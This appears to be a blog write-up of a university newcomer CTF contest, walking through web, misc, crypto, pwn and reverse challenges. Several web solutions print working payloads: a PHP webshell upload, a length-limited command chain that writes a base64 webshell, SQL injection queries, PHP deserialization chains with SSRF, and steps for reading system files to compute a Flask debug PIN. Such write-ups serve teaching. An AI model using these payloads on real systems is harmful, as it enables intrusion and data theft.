LOADING

加载过慢请开启缓存 浏览器默认开启

2024 NSILAB新生赛 WriteUp题解

2024/10/31 题解 CTF WriteUp
字数统计: 11.2k字 阅读时长: 约43分 本文阅读量:

Web-前端?什么是前端

创建实例后,打开给出的地址,按F12打开DevTools即可找到flag。

Web-Singin

在本地搭建好WNMP环境后将给出的www.zip解压到网站目录下,打开即可获得flag。

Web-New Hacker-0

创建实例后,打开给出的地址后显示如下,根据提示可知需要通过shell命令获得flag。

可以猜测,flag应当藏在某个文件或环境变量内。

通过执行cd .. && ls层层检索,最终可以找到flag位于根目录。

使用cat命令即可获得flag。

Web-New Hacker-1

思路同上题,通过遍历无法找到flag,猜测flag可能存在于环境变量。

执行printenv命令,找到flag。

Web-New Hacker-2

该题flag依然存在于环境变量。

Web-md5

创建实例后,打开给出的地址后显示如下:

阅读代码可知,该题需要通过GET传入两个不同的参数a和b,使得通过md5函数处理后得到的结果相等;同时需要通过POST传入两个不同的参数c和d,使得通过md5函数处理后得到的结果全等。

前者可以通过php的弱类型特性:以0e开头的字符串会被当做科学计数法处理,同时值==0,找到两个不同的字符串的md5值为0e开头即可。如:

QNKCDZO(0e830400451993494058024219903391)
aabg7XSs(0e087386482136013740957780965295)

后者通过查阅资料得知:当传入的变量为数组时,md5函数总会返回false。

所以可以构建这样的请求并得到flag:

Web-save_wh

创建实例后,打开给出的地址发现右键和F12被禁用。

通过取巧的方式,Microsoft Edge浏览器可以使用快捷键Ctrl+Shift+i打开DevTools。

阅读代码可知,当c>=cmc时,可以输出flag。

在控制台将cmc设置为-1,然后输入1,得到一串字符。

猜测开头为flag,可以得知这是凯撒密码。

得到flag为:flag{I_lOve_QyZyyyyyyyYYYYYYYYYyyyyy}

Web-ez_param

阅读代码可知:构建如下请求即可获得flag。

Web-eval

阅读代码可知需要通过eval这个危险函数获得flag。

首先猜测可能目录下存在flag.php,通过构造以下请求列出文件。

发现并不存在flag.php,进而猜测可能存在于根目录的flag文件。

得到flag。

Web-什么是ssh?

根据提示连接ssh。

猜测flag位于根目录下的flag文件,无果。

通过ls命令发现flag即位于当前目录下,获得flag。

Web-不停的鹿

根据提示可知flag在flag.php,创建实例后打开页面,发现是通过GET传参获取文件。

猜测传入flag.php。

打开DevTools得到flag。

Web-网络安全实验室欢迎你

创建实例后打开页面,阅读代码可知是通过GET传入网[安][实][验][室][欢][迎][你]变量的值引入文件。

首先猜测是flag.php,构造请求:

无果,进而猜测是位于根目录的flag文件,得到flag。

Web-ez_php

创建实例后打开页面,阅读代码可知:

该题需要通过传入nsilab参数,使得其同时满足以下几个条件:

  1. 传入的值需要被正则表达式”/^yy_is_cute$/“匹配
  2. 传入的值不是yy_is_cute
  3. 查询字符串不能被正则表达式”/nsilab|yy|cute/i”匹配

前两个条件根据preg_match函数的特性可知,$不会匹配位于结尾的换行符,所以构建如下请求可以得到:

第三个请求可以通过$_GET和$_SERVER[‘QUERY_STRING’]的不同之处解决。

查阅资料得知$_GET会对查询字符串做urldecode,而$_SERVER[‘QUERY_STRING’]不会,所以可以将全部Payload中的英文字符进行urlencode来避免被正则表达式匹配。

构建请求,得到flag。

Web-upload 0

创建实例打开页面,先尝试上传一个php文件。

发现没有限制上传的文件类型,且得到了上传的文件的存储位置。

而后猜测flag位于根目录的flag文件,编写以下php代码。

<?php
    print_r(system("cat /flag"));
?>

上传后打开uploads/2.php,得到flag。

Web-upload 1

创建实例打开页面,先尝试上传一个php文件。

发现虽然在前端限制了文件上传的类型,但是依然可以选择“所有文件”,后端也没有对文件类型做验证。

如法炮制即可得到flag。

Web-upload 2

创建实例打开页面,先尝试上传一个php文件。

上传失败,阅读代码发现其是通过一个js方法判断的文件类型。

在控制台将这个方法删掉。

上传成功,得到flag。

Web-upload 3

创建实例打开页面,先尝试上传一个php文件。

上传失败,发现是在后端判断的文件类型。

得知只可以上传gif文件。

打开Burp Suite拦截请求,修改上传文件的Content-Type为image/gif。

放行请求,上传成功。

执行php得到flag。

Web-upload 4

创建实例打开页面,如法炮制,上传失败,猜测后端可能判断了上传文件的文件头信息。

重新上传php后门,使用Burp Suite拦截请求。

修改Content-Type为image/gif,同时在文件头添加gif的文件头信息。

放行请求,上传成功,打开uploads/1.php即可获得flag。

Web-upload 5

创建实例打开页面,如法炮制,上传失败,发现后端添加了对于php后缀的判断。

首先尝试通过上传php3/php5/php7/pht/phtml文件绕过检查,发现这些后缀虽然可以上传,但不会被解析执行。

检查响应头,发现Web服务器软件为Nginx,无法通过Apache上传. htaccess文件的方式修改配置。

查阅资料得知php会在每个执行的php文件的目录下扫描.user.ini文件,故先对uploads目录进行检查。

访问uploads/index.php,发现其返回了一个“nothing here”,检查状态码为200,说明该目录下存在index.php。

可以尝试上传这样一个.user.ini:

GIF89a
auto_prepend_file=1.php3

来使得上传的后门文件在访问uploads/或uploads/index.php时被预先执行。

上传成功,继续尝试上传后门文件1.php3,访问uploads/,得到flag。

Web-转瞬即逝

创建实例打开页面,可以发现其302临时重定向到welcome.php。

根据题目“转瞬即逝”猜测提示位于跳转前的index.php。

通过抓包,发现index.php的title为robot。

猜测提示位于robots.txt。

访问s3cret.php。

阅读代码可知为了获得$hint,需要满足以下条件:

1.$_REQUEST[‘a_simple.php’]有值

2.传入一个键为“AAAAA”值为“signin”的请求头

3.找到两个md5值完全相同的字符串,分别通过GET传参a和b

试图构建以下请求:

发现并没有得到“Think about it again!”
查阅资料了解到,php会将传参中的空格、英文句号和中括号转换为下划线(_),但是在php8以前,存在以下漏洞:

当第一个传入的非法符号为中括号时,只会处理这个中括号,而后续的非法符号不会被处理。

继续尝试构建请求:

成功,而对于第三个条件,百度得到了以下md5强碰撞的例子:

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

继续构建请求:

打开sh41llll.php,阅读代码发现其只能执行小于等于7个字符的shell命令,同时shell_exec函数没有回显。

思路是逐字拼接一个shell脚本,然后通过这个脚本创建一个可以任意执行命令的php脚本。

由于字数限制,echo a>>0这样的命令无法被执行,查阅资料了解到以下内容:

1>a或者w>b分别可以创建a和b两个空文件夹。

ls>c会将目录下面的文件名写入到c文件中;ls -t>0会将文件名按照创建的时间倒叙写入0文件中。并且自动换行。

\作为转义符,转义之后的’\‘是用来换行分隔,也就是换行也是连接的。

(参考:https://www.cnblogs.com/-chenxs/p/11981586.html

计划输出这样一个php脚本:

<?php system($_GET["a"]);

由于存在非法字符,不能直接用作文件夹名称,故需要对其进行Base64编码:

PD9waHAgc3lzdGVtKCRfR0VUWyJhIl0pOw==

所以可以依次执行以下的命令来达到创建这个php脚本的目的:

w>hp
w>1.p\\
w>d\>\\
w>\ -\\
w>e64\\
w>bas\\
w>=\\|\\
w>w=\\
w>0pO\\
w>hIl\\
w>WyJ\\
w>0VU\\
w>RfR\\
w>tKC\\
w>dGV\\
w>3lz\\
w>Agc\\
w>waH\\
w>PD9\\
w>o\ \\
w>ech\\
ls -t>0
sh 0

访问sandbox/1.php,确认创建成功。

猜测flag位于根目录下的flag文件,故构建payload:a=cat /flag,得到flag。

Web-扫描器

根据题目可知需要通过扫描文件的方式找到flag。

首先尝试直接访问flag.php,打开DevTools可以得到一个Base64字符串:am95X3lvdXJfbmV,发现在严格模式下无法解码。

打开Burp Suite,使用Intruder对路径进行攻击:

在Payload中使用自定义迭代器,位置1使用BP自带的文件名字典,同时将flag、ctf、nsilab添加进列表,位置1分隔符使用.,位置2则使用BP自带的后缀名字典。

通过简单的筛选即可得到有其他响应的文件:

已知flag.php包含的Base64编码为am95X3lvdXJfbmV,其他各文件内容如下:

1.txt:bnNpbGFie2Vu

flag.txt:3X3Rvb29vb29vb29vb29vb2

robots.txt:9vb29vb29vb29sIS

www.zip为一个压缩包,其中包括的what.txt内容为:EhISEhISEhISEhISEhIX0=

不难猜测这是一个Base64编码的字符串,尝试拼接:

bnNpbGFie2Vuam95X3lvdXJfbmV3X3Rvb29vb29vb29vb29vb29vb29vb29vb29sISEhISEhISEhISEhISEhIX0=

解码即可得到flag:nsilab{enjoy_your_new_tooooooooooooooooooooooool!!!!!!!!!!!!!!!!}

Web-sql

创建实例打开页面,不难发现这是一个需要通过sql注入拿到flag的题目。

首先尝试使用万能密码:1' or '1'='1' #

登录成功,但没有拿到flag,说明需要从数据库存储的数据中拿。

首先利用order by判断之后联合查询的结果可以有几条,当传入1' order by 1 #时出现报错:

说明结果为3列。

接下来判断回显:

1' and '1'='2' union select 1,2,3 #

说明第2个结果会被回显到Hello后。

继续获得全部的数据库:

1' and '1'='2' union select 1,database(),2 #

继续得到web库中的表:

1' and '1'='2' union select 1, group_concat(table_name),3 from information_schema.tables where table_schema='web' #

首先尝试得到easysql表中的字段名:

1' and '1'='2' union select 1, group_concat(column_name),3 from information_schema.columns where table_name='easysql' and table_schema = 'web' #

找到flag字段,尝试查询得到flag

1' and '1'='2' union select 1, group_concat(flag),3 from web.easysql #

Web-ez_pop

创建实例打开页面,根据提示是需要通过读取flag.php文件拿到flag。

将代码复制到本地,通过添加多个echo进行反序列化的测试,得到以下思路:

可以在Try_Work_Hard类里找到include方法,即需要通过这里访问flag.php文件,考虑使用伪协议php://filter读取,而调用这个append函数的魔术方法是__invoke,即需要将这个类作为函数调用。

继续阅读代码可以找到调用任意函数的方法位于Make_a_Change类,而这是个__get魔术方法,也就是需要访问这个类中不存在的属性时才会调用。

进而可以在Road_is_Long类的__toString魔术方法中找到访问类中属性的操作,而恰好同样在Road_is_Long类的__wakeup魔术方法中,有一个正则表达式匹配,其第二个参数的类型为字符串,同时__wakeup刚好可以作为反序列化漏洞的触发器。

通过以上思路即可构建序列化字符串:

O:12:"Road_is_Long":2:{s:4:"page";O:12:"Road_is_Long":2:{s:4:"page";s:4:"http";s:6:"string";O:13:"Make_a_Change":1:{s:6:"effort";O:13:"Try_Work_Hard":1:{s:6:"*var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:6:"string";s:6:"string";}

将以上内容通过GET传入即可得到Base64编码的flag.php文件,解码即可得到flag。

Web-ezflask

创建实例打开页面,先尝试点击其中几个文件看看是如何传参的:

应当是通过POST方法传入check参数读取文件,继续测试可以发现只要不是list里列出的文件即可一次性读出全部文件内容。

尝试直接传入/flag。

发现其对文件名进行了过滤,不能通过这种方式拿到/flag和app.py的内容。

同时发现,这是一个Flask框架的Debug页面,同时根据题目提示即可得知是需要通过计算PIN码拿到Python Console,进而拿到flag。

查阅资料和Werkzeug源码了解到,其Debug的PIN码计算需要以下参数:

  1. username 通过读取/etc/passwd可以得到
  2. modname 默认为flask.app
  3. appname 默认为Flask
  4. moddir Flask库下app.py的绝对路径,可以在报错页面拿到
  5. uuidnode MAC地址的十进制,可以通过读取/sys/class/net/eth0/address拿到MAC地址
  6. machine_id 物理机Linux直接读/etc/machine-id或/proc/sys/kernel/random/boot_id,哪个有值就是machine_id,若为Docker容器,还要读取/proc/self/cgroup中的第二项的值,并和前面读到的值拼接到一起。

根据以上思路分别对需要的文件进行读取即可。

  1. 读取/etc/passwd,根据最开始的提示和用户目录可以猜测为newnew

  1. 直接在报错页面拿到:/usr/local/lib/python3.8/site-packages/flask/app.py
  2. 读取/sys/class/net/eth0/address,将分隔的冒号去掉后进行进制转换即可

  1. 经过测试,发现为物理机,只需要读取/proc/sys/kernel/random/boot_id

接下来查阅响应头,发现Werkzeug版本为3.0.4,为较新版本,通过网上查到的算PIN脚本(实际上是Werkzeug的get_pin_and_cookie_name函数的一部分)即可算出Flask Debug的PIN:

拿到PIN码为:223-595-223

但是在Flask的报错页面并没有找到进入Python Console的按钮,查阅资料得知:Flask在启动时可以设置use_evalex=False,以使得报错页面的交互式Console被禁用,但/console路由依然可以访问使用。

其前端代码也印证了这一点,即use_evalex=False

尝试访问/console路由,报400错误。

根据题目提示:访问console路由时,如果出现报错,可以将Host请求头改为 127.0.0.1。

进而使用Burp Suite打开/console路由,并修改Host请求头为127.0.0.1:port。

*以下的所有操作在发出请求后都需要对Host进行修改。

而后输入之前算出的PIN码即可拿到Python Console:

首先尝试读/flag,没能拿到,进而猜测位于环境变量,得到flag:

Web-ezunser

根据题目提示首先查看flag.php:

阅读代码可知,可以通过create_function的任意执行脚本的漏洞来获取flag,Payload形式如:

?cmd=){}system('cat /flag');//

但是该题目限制了$_SERVER[“REMOTE_ADDR”]为127.0.0.1,这个变量是通过TCP三次握手过程获得的,无法通过一般的方法伪造。

打开index.php查看:

结合题目可知需要通过PHP反序列化漏洞来操作flag.php获得flag。

已知PHP中存在SoapClient原生类,其可以使得PHP发起HTTP请求,通过这个SSRF漏洞即可使REMOTE_ADDR为127.0.0.1。

而SoapClient类下存在__call方法,可以用于发起请求,接下来便是获得POP链了。

将代码复制到本地,通过添加多个echo进行反序列化的测试,得到以下思路:

可以在Winter类里找到调用类的函数的方法,这里便是注入点,而这个魔术方法是__isset,即需要判断这个类的属性是否存在。

而接下来可以找到判断属性是否为空的函数位于Autumn类,而这是个__invoke魔术方法,也就是需要将这个类作为函数调用。

之后可以在wind类的blow方法中找到call_user_func,这便可以将Autumn类作为函数调用了,而调用blow方法的魔术方法是__toString,即需要将这个类转换为字符串。

刚好可以在flower类的bloom方法内找到preg_match,其第二个参数为字符串类型。

调用bloom方法的是一个__set魔术方法,即需要向这个类中不存在的属性赋值,赋的值会被传参到bloom方法。

而Spring方法刚好包含一个对类中属性赋值的方法,且这个魔术方法为__destruct,即当这个类被销毁时触发方法,可以作为反序列化漏洞的触发器。

但是,又存在一个问题,即SoapClient原生类无法获取到请求的内容,需要将flag输出到文件,即flag.php的Payload需要修改为:

?cmd=){}file_put_contents('2.txt',system('cat /flag'));//

而执行反序列化之前,其会进行一个对序列化字符串的正则判断,只需要用数组包裹即可。

以及,为了避免其最后抛出的异常终止程序,需要使反序列化过程中抛出另一个异常来打断,只需要破坏序列化字符串即可(将Spring后的2更改为大于2的数字)。

根据以上思路即可构建序列化字符串:

a:1:{i:0;O:6:"Spring":3:{s:4:"love";O:4:"wind":3:{s:6:"leaves";O:6:"Autumn":1:{s:4:"moon";O:6:"Winter":2:{s:4:"snow";N;s:5:"light";O:10:"SoapClient":4:{s:3:"uri";s:16:"http://127.0.0.1";s:8:"location";s:82:"http://127.0.0.1/flag.php?cmd=){}file_put_contents('2.txt',system('cat /flag'));//";s:15:"_stream_context";i:0;s:13:"_soap_version";i:1;}}}s:1:"a";N;s:1:"b";N;}s:6:"coming";O:6:"flower":1:{s:6:"flower";N;}}}

以及,在复制代码的过程中发现其的my_sweet_baby参数使用了Unicode控制字符调换了字符顺序,只需要完整复制下来即可。

最后,阅读代码可知其会对$_REQUEST中的每一个值进行正则匹配,而$_REQUEST中Cookie和POST会覆盖GET的传参,即可构建请求:

接下来访问/2.txt即可拿到flag。

Web-送给miguo的挑战

使用Google Lens搜索给出的页面:

打开第一个结果即可得知获得flag的Payload:

传入即可得到flag。

Web-CMS

打开页面,发现其给出了个CVE漏洞编号,猜测利用这个漏洞即可拿到flag:

打开Kali Linux,使用msf查找漏洞编号:

使用第0个module,查看options:

ifconfig获取到本机IP后,将相应的options填进去,最后进行exploit:

而后get shell,尝试cat /flag无果后尝试查看环境变量,得到flag:

Web-ezspider

打开页面,通过点击链接可以发现是会跳转到下一个页面。

思路是匹配a标签的href属性值,然后重复发送请求直至没有值。

编写以下脚本即可拿到flag:

Web-ezspider2

打开页面,通过F12检查可以发现这次跳转的页面在注释里:

匹配注释里的文件名即可:

图形用户界面, 文本, 应用程序, 电子邮件 描述已自动生成

最后发现flag是在一个php里,直接访问即可拿到flag:

图形用户界面, 文本, 应用程序, 电子邮件 描述已自动生成

Web-ezspider3

打开页面,发现打开注释里的页面后会陷入死循环,尝试访问index.html发现真正的跳转页面。

接下来按照ezspider2的解法解即可:

同时根据题目提示需要访问.php.php,得到最后的php路径后访问即可拿到flag。

Web-medium spider

打开注释里的页面:

通过F12可以发现将每个a标签里面的内容有可能拼接出来就是下一个页面,编写以下脚本即可拿到flag:

图形用户界面, 文本, 应用程序, 电子邮件 描述已自动生成

Web-REDOS

搜索题目名称了解到这是一个对正则表达式的DOS攻击,再结合页面根据题目提示可以判断是要通过执行正则表达式的时间来判断flag的每个字符:

已知正则表达式中的通配符会多次匹配,这会大大延长正则表达式的执行时间。

同时,正或逻辑存在断路机制,即当第一个条件匹配后后面的条件就不会再去匹配了。

通过多次测试发现以下表达式能做到匹配错误的flag内容所消耗的时间是匹配正确内容时间的3倍以上:

/^【猜测的flag内容】|(^.*.*.*.*.*.*.*.*$){1000}/

又已知flag内容是一个UUID字符串,即只包含0123456789abcdef-。

所以可以编写以下脚本,每次取匹配用时最短的字符拼接到flag后,即可得到flag:

Misc-签个到吧

直接填入题目给出的flag即可。

Misc-B627

到实验室查看白板即可找到flag。

Misc-内网网盘

打开内网网盘后即可找到flag。

Misc-一妍丁真

下载附件后打开发现无法查看,进而选择用010Editor打开:

不难发现其实质是一个Base64字符串,解码即可得到真正的PNG图片文件和flag。

Misc-像素,和红色

下载图片后可以看出这是一个倾斜的被涂抹了定位点的二维码。

首先调整图片的倾斜度:

可以判断是三个连在一起的二维码,将最左侧的半个二维码拼到右侧,然后补绘定位点,扫码即可得到flag:

Misc-Let’s Minecraft!!!

根据题目提示用1.20.6版本的Minecraft打开题目给出的世界存档。

得知允许使用命令,通过命令/gamemode spectator切换为旁观者模式,然后按空格在出生点向上飞,即可看到一个二维码。

扫码得到flag:flag{T0_our_Minecraft_mem0r1es!}

Misc- Let’s RPG!!!!!

下载游戏后打开,发现是使用RPGMaker mv制作的游戏,进入游戏地图:

不难发现,整个地图就是一个二维码,但是由于窗口大小限制,无法完整显示。

已知RPGMaker mv制作的游戏默认的分辨率为816x624,在www/js/目录下进行文件内容查找这两个数值,可以找到www/js/plugins.js。

而后将两个数值调大即可。

调整后即可完整显示地图中的二维码,扫码即可得到flag:flag{1s_This_RPG?!}

Misc-箱子里面是什么

下载附件,发现这是一个Blender工程文件,使用Blender打开:

根据题目提示,不难猜到flag即位于箱子内,将箱子的建模都删除即可得到flag。

Misc-河神的故事

打开文档,首先的想法是直接对其进行Base64解码,但并没有得到flag,同时在CyberChef的严格模式下解码会报错。

查阅资料了解到Base64隐写:

Base64的编码原理是:把3个8位字节转化为4个6位的字节,再根据每个字节的值,用base64编码表中的值替换,不足4个字节的,补=。编码得到的字符串长度必为4的倍数。

而在解码的时候,会首先丢掉最后用于补位的0,也就是=,而显然可以用来补位的不仅仅是0,当使用其他数据来补位的时候就实现了Base64隐写。

而在进行Base64隐写时会有这样的特点:

由于添加的二进制不全为0,会导致=前最后的一个编码后字符被修改,虽然被修改后依然能解码出原本的数据,但在严格模式下会报错。

末尾有==的Base64编码也如此。

那么只需要分别所有以=结尾的Base64编码的=前最后一个字符,而后转为二进制并取特定位数,最后进行拼接再转为字符串即可拿到隐写的数据。

网上找到的解题代码如下:

而后即可拿到flag:flag{y0u_find_1t!}

Misc-ez_LSB

已知这是一张在LSB(RGB的最低有效位)隐写了数据的图片。

使用图片隐写解析工具SteckSolve打开图片然后提取RGB的0通道数据,得到flag。

Misc-雪花飘落的季节

根据题目提示打开压缩包注释:

可以得知压缩包密码仅为八位数字,同时没有设置snow的密码。

使用暴力破解得到压缩包密码:

解压可以得到这样的一个文件:

大量的空格,再结合题目中多次出现“雪”的关键词,可以联想到SNOW加密。

同时根据提示没有设置snow的密码,所以用以下命令即可得到flag。

snow -C Snow.txt Snow1.txt

flag:nsilab{ah-ha!Snow_1s_Be@utifu1!}

Misc-腾张

由于给出的字符串仅包含“腾”和“张”两个字符,猜测为二进制,但无法确定哪个=1,哪个=0。

进而发现字符总数为432,是8的倍数,大胆猜测为ASCII编码,先取前8位测试:

张腾腾张腾腾腾张

若张=1,腾=0,即10010001,并非基本ASCII码,显然错误。

若张=0,腾=1,即01101110,刚好为字母n

已知flag格式为nsilab{…},显然猜测正确。

将原字符串全部用0和1替换后进行ASCII解码,即可得到flag:nsilab{ztztzttttttttttttttttttttttztztztzzzzztttttttt}

Misc-正能量!

首先使用核心价值观编码解码工具得到以下内容:

而后使用新佛曰编码解码工具得到以下内容:

最后使用兽语编码解码工具得到以下内容:

解码Base64即可得到flag。

Misc- Many Small CRC32!

首先打开压缩包,根据提示是需要使用CRC32爆破:

可以先对最后的4字节文件使用网上找到的脚本进行爆破:

得到结果为fQ==,猜测为Base64编码,修改代码后对其余5字节文件爆破:

得到完整的Base64字符串:

解码即可得到flag:nsilab{crc32_c@n_d0_sma11_zip!}

Misc-easy_tcp

可以发现给出的是Wireshark的流量包,使用Wireshark打开:

根据题目提示可知需要查找TCP流量,筛选TCP和HTTP后可以找到一个200的HTTP请求。

追踪HTTP流即可得到flag。

Misc-老师,文件打不开

使用搜索引擎查找kdbx文件扩展名得知这是KeyPass的密码数据库文件。

下载KeyPass尝试打开文件:

找不到密码,猜测提示藏在了文件内,使用010Editor打开文件:

找到了提示,尝试将这段字符串填入密码,几经尝试都无果。

而后根据字符串开头的Rot13,猜测是Rot13加密,解密得到:

Ebg13Guvf!!!!!!!!!!!!!!!!Z@fgrE_XrL0001fU3E3!

通过多次尝试,得到密码位感叹号后面的部分,即Z@fgrE_XrL0001fU3E3!

成功打开文件:

首先尝试复制密码,进行Base64解密,解密失败。

而后尝试复制注释,进行Base64解密,成功得到flag:nsilab{How_C@n_u_F1nd_KeePass?}

Misc-ez_sstv

使用SSTV Decoder即可得到flag图片:

Misc-谁动了恻隐之念 还是打给了你却没接

通过题目提示和附件音频可以得知这是一个拨号声(DTMF信号),使用DTMF2NUM工具解码可以得到:

根据声音的停顿可以对这串数字进行如下分隔:

110 115 105 108 97 98 123 67 65 76 76 95 87 72 79 63 125

可以猜测是十进制的ASCII码,解码即可得到flag:nsilab{CALL_WHO?}

Misc-米果家的猫猫

通过题目提示可以猜测是一个伪加密的zip压缩包,使用010Editor打开并查找压缩源文件的文件头标记(50 4B 01 02):

可以发现其后的9-12位全局方式位标记为09 00,的确为伪加密,只需要将其修改为00 00即可恢复未加密的状态,解压即可得到文件:

直接打开图片,是一只很可爱的猫猫,但猫猫并不能告诉我们flag是什么,继续尝试用010Editor打开图片。

可以发现提示这是一张包含了盲水印的图片。

在互联网上几经查找和测试工具后,找到了可以提取出这张图片里的盲水印的工具:

https://www.i3zh.com/26002.html

得到flag:

Misc-【流量分析】拿起那时的笔,却再画不出那时的自己

本题目是在借用了出题人的数位板之后才完成的。

使用Wireshark打开题目附件,根据题目提示判断是一道USB流量分析题:

大致阅读数据可知数位板输入的usb.src应该是2.8.2,使用过滤器筛选出来并导出为一个新的pcapng包:

使用tshark命令导出Leftover Capture Data数据到文本文档:

tshark -r usb2.pcapng -T fields -e usb.capdata > 1.txt

但是无法确定数据的含义,主要在变化的是第5位到第末位,可能与坐标有关。

经过提示,该数位板是有压感的,所以这些数据中应该还包含压感数据。

终于,在借到了出题人用于出题的数位板后,经过多次抓包测试和在数位板上写写画画得到了数据的含义:

第5位-第8位 x坐标

第9位-第12位 y坐标

第13位-第16位 压感数据(该数据为0000时表示没有落笔)

尝试用Matplotlib绘制:

没能得到正确的图像,而后查阅资料了解到USB的坐标数据是小端存储的(如图),即:

读取数据应从低地址(右侧)向高地址(左侧)方向读取,但同一个地址内读取顺序不变(8个bit,即需要将低地址的数据乘以256)。

根据以上信息修改脚本:

绘制出来发现是倒着的,修改代码,将y值改成负的即可得到flag:

Misc-Ophiuchus

题目更新Hint后,不难联想到26个字,00年的13星座对应a-m,01年的13星座对应n-z。同时已知星座是从白羊座开始的,将每个日期对应的星座找到,再到字母表中找到对应的字母即可得到flag:

Crypto-初来乍到

打开给出的指南并阅读完毕,在页面底部即可得到flag。

Crypto-来探索一下这奇妙的文字吧

1

图上的文字有些眼熟,猜测为塔防二游《明日方舟》中的“集成战略:探索者的银淞止境”玩法中的自创文字,查阅资料可知:

通过对照,可以得到如下内容:nsilabkuohaoarknightskuohao

根据flag的格式惯例可以得到flag:nsilab{arknights}

Crypto-罗马的一个皇帝

根据题目提示判断为凯撒密码,解密即可得到flag。

Crypto-RSA入门-01

直接填入flag。

Crypto-RSA入门-02

使用Python计算即可得到flag。

Crypto-RSA入门-03

已知n=pq,则根据公式可知φ(n)=(p-1)(q-1),然后根据RSA算法计算私钥的公式使用以下脚本即可得到flag:

Crypto-RSA-00

直接填入flag。

Crypto-RSA-01

阅读代码可知这是一段RSA加密过程,且给出了p、q、e,故可以通过公式算出私钥d,之后进行解密即可得到flag:

Crypto-RSA-03-What’s dp?

阅读代码可知(1).dp≡dmod(p-1),已知以下公式:

(2).e*d≡1modφ(n)

(3).φ(n)=(p-1)*(q-1)

将2式变形得到:d=1/e+kφ(n)

代入1式得到:dp≡[1/e+kφ(n)]mod(p-1)

变形得到:dp=1/e+kφ(n)+l(p-1)

将3式代入变形得到:dp=1/e+k(q-1)+l

令x=k(q-1)+l,就可以得到:dp=1/e+x(p-1)

即:dp≡(1/e)mod(p-1)

=> e*dp≡1mod(p-1)

=> p-1可以被e*dp-1整除,商为x=k(q-1)+l

根据以上思路便可通过n和dp计算出p和q:

Crypto-RSA-05-EasyGCD

由于p、q、r都是质数,而n=p*q,gift=p*r,所以n和gift的最大公约数就是p了,使用辗转相减法算出最大公约数后即可算d,解密即可得到flag:

Crypto-基

判断为Base64编码,解码即可得到flag。

Crypto-爱国

使用核心价值观编码解码工具即可得到flag(本质是12进制):

Crypto-Fence

栅栏2W型解密即可得到flag。

Crypto-Fence 2

栅栏4W型解密即可得到flag。

Crypto-是不是,哥们?

使用以下开源项目即可解码:

Crypto- OK不,兄弟

使用Ook编码解码工具即可解码:

Crypto-我是miguoQAQ还是miguoOVO?

使用颜文字编码解码工具即可得到flag:

Crypto-OVO

使用尊嘟假嘟翻译器即可得到flag:

Crypto-Easy_python-01

异或运算具有自反性(A xor B xor B == A):

Crypto-Easy_python-02

由于给定了random的seed,所以随机结果应该是相同的,因此只需要对一个有序列表进行random.shuffle,将随机结果与m字符串一一对应并重新排序即可得到flag:

Crypto-random-01

逆运算即可得到flag:

Crypto-random-02

本题已经给出了一个随机的列表和随机种子的范围,可以根据这些来穷举出随机种子。

而后因为异或运算不改变字符串位数,且异或运算具有自反性,对输出的int再次用确定的seed随机出的getrandbits(int.bit_length())异或即可得到flag:

Crypto-random-03

阅读代码可以发现里面的seed和哈希计算是没有意义的,整个flag只是对一个32位随机数计算md5值后转为16进制。

而题目给出了前624个随机数的结果,查阅资料得知可使用ExtendMT19937Predictor包来恢复出random内置的MT19937伪随机数生成器的内部状态,然后预测下一个随机数,这样即可计算出flag的随机部分,获取flag的脚本如下:

Crypto-random-04

思路同上题,依然是需要恢复随机数生成器的内部状态,对脚本稍作修改即可:

Pwn-test_nc

通过ncat命令连接靶机通过ls命令得到flag文件的位置,然后获得flag。

Pwn-real_test_nc

通过ncat命令连接靶机,得到flag。

Pwn-小学计算题

需要在60s内完成100道计算题,猜测完成后即可拿到shell。

使用人脑计算显然不太可能,于是尝试使用编写脚本的方式拿到flag:

Pwn-神秘数字

使用IDA打开附件,可知需要输入一个不包含负号的数字使得其等于-114514

已知计算机中是通过最高位来表示负数的,而这道题使用的类型是int,所以当输入的2^32时,计算机就会将其判断等于-2^32。

因此可以得到为了使得输入的值等于-114514,需要输入:

2\^32+(2\^32-114514)=4294852782

得到flag。

Pwn-ez_32

使用IDA打开附件,可以发现其是要求输入一串最长为0x3C的字符串,来存储到buf中,但是buf只有0x14的长度。

即当输入的字符串长度大于0x14时即会发生栈溢出。

而为了覆盖函数开头压入的ebp,32位程序需要再加4个字节。

而调用/bin/sh位于backdoor函数:

编写脚本拿到flag:

Pwn-ez_64

使用IDA打开附件,可以发现其是要求输入一串最长为0x100字符串,来存储到buf中,但是buf只有0x20的长度。

而64位程序需要再加8个字节覆盖ebp。

如法炮制即可得到flag:

Pwn-no_binsh_32

使用IDA打开附件,打开backdoor函数,可以发现system的参数没有/bin/sh。

尝试Shift+F12列出字符串,找到了一个/bin/sh,记下它的地址。

编写代码,在system函数地址后接4字节的数据覆盖em函数的返回地址,再之后接/bin/sh的地址即可。

Pwn-no_binsh_64

前面的过程同no_binsh_32,根据题目提示查阅资料了解到64位程序的参数是通过寄存器来传参的,而64位程序的寄存器一共有六个,传参顺序如下:

rdi rsi rdx rcx r8 r9

所以首先需要找到一个pop rdi语句,来将/bin/sh字符串存入寄存器。

记下它的地址后即可构建payload,payload形式如下:

溢出+pop rdi地址+binsh地址+system函数地址

编写代码,即可拿到flag:

Pwn-Hello IDA

使用IDA打开附件,可以在main函数下发现其调用了vuln函数。

进而打开vuln函数:

可以发现,当传入的s2等于变量password时,即可运行后门函数,后门函数会打开靶机的shell。

打开password可以找到其的值为nsilab_pwn。

接下来编写这样一个脚本即可打开靶机的shell:

from pwn import *  
context.log_level = 'debug'  
re = remote("contest.ctf.nefu.edu.cn", 33823)  
re.recvuntil("name:")  
re.send(b"aaa")  
re.recvuntil("password:")  
re.sendline("nsilab_pwn")  
re.interactive()

然后执行cat flag即可得到flag。

Reverse-点击即送

通过命令提示符运行给出的程序可以得到flag。

Reverse-can you catch me?

通过命令提示符运行给出的程序可以得到flag。

Reverse-小学数学

阅读代码可知需要解一个五元一次方程组。

使用在线工具解决:

